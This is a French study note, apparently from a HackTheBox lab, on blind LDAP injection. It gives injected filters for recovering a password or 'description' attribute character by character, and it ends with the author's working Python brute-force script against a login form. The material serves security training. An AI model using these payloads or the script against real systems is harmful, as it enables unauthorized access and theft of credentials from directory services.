LDAP - Data Exfiltration & Blind Exploitation

Blind LDAP Injection : Technique de Recherche de Mot de Passe avec Filtres Progressifs

Pour retrouver un mot de passe (ou d’autres champs comme description) avec une Blind LDAP Injection, on peut utiliser une technique de filtrage progressif en testant chaque caractère l'un après l'autre.

Étapes et Exemples de Filtrage Progressif

1. Requête de base pour tester le premier caractère :

   • Filtre injecté : (&(uid=admin)(userPassword=a*))

   • But : Vérifier si le mot de passe commence par "a".

   • Résultat : Si l’application répond positivement (par exemple, connexion réussie), alors le premier caractère du mot de passe est "a". Sinon, on essaie "b".

2. Filtrage progressif du premier au deuxième caractère :

   • Si le premier caractère est confirmé comme étant "a", on passe à la séquence suivante pour tester le deuxième caractère.

   • Filtre injecté : (&(uid=admin)(userPassword=ab*))

   • But : Vérifier si le mot de passe commence par "ab".

   • Résultat : Si la réponse est positive, les deux premiers caractères sont "ab". Sinon, on continue avec "ac", "ad", etc.

3. Continuation du filtrage pour affiner chaque caractère :

   • Pour chaque caractère suivant, on répète le même schéma en allongeant progressivement la séquence :

   • Filtre injecté : (&(uid=admin)(userPassword=abc*))

   • But : Valider "abc" comme début du mot de passe.

4. Finaliser le mot de passe :

   • L’attaquant continue jusqu'à ce que la chaîne complète soit validée.

Blind LDAP Injection pour Vérifier l'Existence d'un Attribut

Pour utiliser une Blind LDAP Injection afin de vérifier l'existence d'un attribut comme description, on peut construire des requêtes LDAP qui infèrent si cet attribut existe ou non.

Méthodologie

1. Filtre pour vérifier l'existence de l'attribut :

   • Filtre injecté : (&(uid=htb-stdnt)(|(description=*)(password=invalid)))

   • Explication :

     • (&(uid=htb-stdnt)...) : Vérifie si l'utilisateur htb-stdnt existe.

     • (|(description=*)(password=invalid)) : Utilise l'opérateur OR pour vérifier si l'attribut description existe (a n'importe quelle valeur) ou si le mot de passe est "invalid".

   • Objectif : Si la requête réussit et retourne une réponse positive, cela signifie que l'attribut description existe. Sinon, cela indique qu'il n'existe pas.

Approche Progressif pour Déterminer la Valeur de description

Pour trouver des valeurs spécifiques d’un attribut comme description, vous pouvez suivre une méthode de filtrage progressive.

Exemple de recherche pour l’attribut description

1. Test du premier caractère :

   • Filtre injecté : (&(uid=htb-stdnt)(|(description=d*)(password=invalid)))

   • Objectif : Vérifier si description commence par "d".

2. Test du deuxième caractère :

   • Si le premier caractère est valide, on continue :

   • Filtre injecté : (&(uid=htb-stdnt)(|(description=de*)(password=invalid)))

   • Objectif : Vérifier si description commence par "de".

3. Continuation pour chaque caractère :

   • Continuer ainsi en testant chaque caractère possible jusqu'à obtenir la valeur complète de description :

   • Filtre injecté : (&(uid=htb-stdnt)(|(description=det*)(password=invalid)))

Exemple avec d'autres attributs

Cette même méthode peut être utilisée pour d'autres attributs, comme le mot de passe ou tout autre champ :

• Filtre pour tester si un mot de passe particulier est valide :

  • Filtre injecté : (&(uid=htb-stdnt)(userPassword=a*))

  • Objectif : Vérifier si le mot de passe commence par "a".

Résumé Synthétique

• Vérification d'Existence d'Attribut : Utiliser un filtre comme (&(uid=htb-stdnt)(|(description=*)(password=invalid))) pour déterminer si un attribut comme description existe.

• Recherche Progressive de Valeurs :

  • Commencer par tester des valeurs comme (&(uid=htb-stdnt)(|(description=d*)(password=invalid))).

  • Continuer à ajouter des caractères pour reconstruire la valeur de l'attribut.

• Applications : Cette technique est utile pour déterminer la présence et la valeur des attributs sensibles dans un annuaire LDAP, tout en contournant les protections d'authentification.

Exemple de script réalisé par moi

import requests
import string

characters = string.ascii_letters + string.digits + string.punctuation

def blind_ldap_injection(description,character):
    if description == '': 
        response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+character+"*","password":"invalid)"})

        if "Login successful" in response.text:
            #print(f"Injection réussie avec {character}")
            return True
        else:
            return False
    else:
        response = requests.post(url="http://<url>/index.php",data={"username":"admin)(|(description="+description+character+"*","password":"invalid)"})

        if "Login successful" in response.text:
            #print(f"Injection réussie avec {character}")
            return True
        else:
            return False

description=''

while True:
    found_character = False  # Indique si on a trouvé un caractère dans cette itération

    # Boucle pour tester chaque caractère possible
    for character in characters:
        if blind_ldap_injection(description, character):
            description += character  # Ajoute le caractère trouvé à la description
            found_character = True
            break  # Recommence depuis le début de `characters` avec le nouveau `description`
    
    # Si aucun caractère n'est trouvé, on a terminé
    if not found_character:
        print(f"Description complète trouvée : {description}")
        break  # Arrête la boucle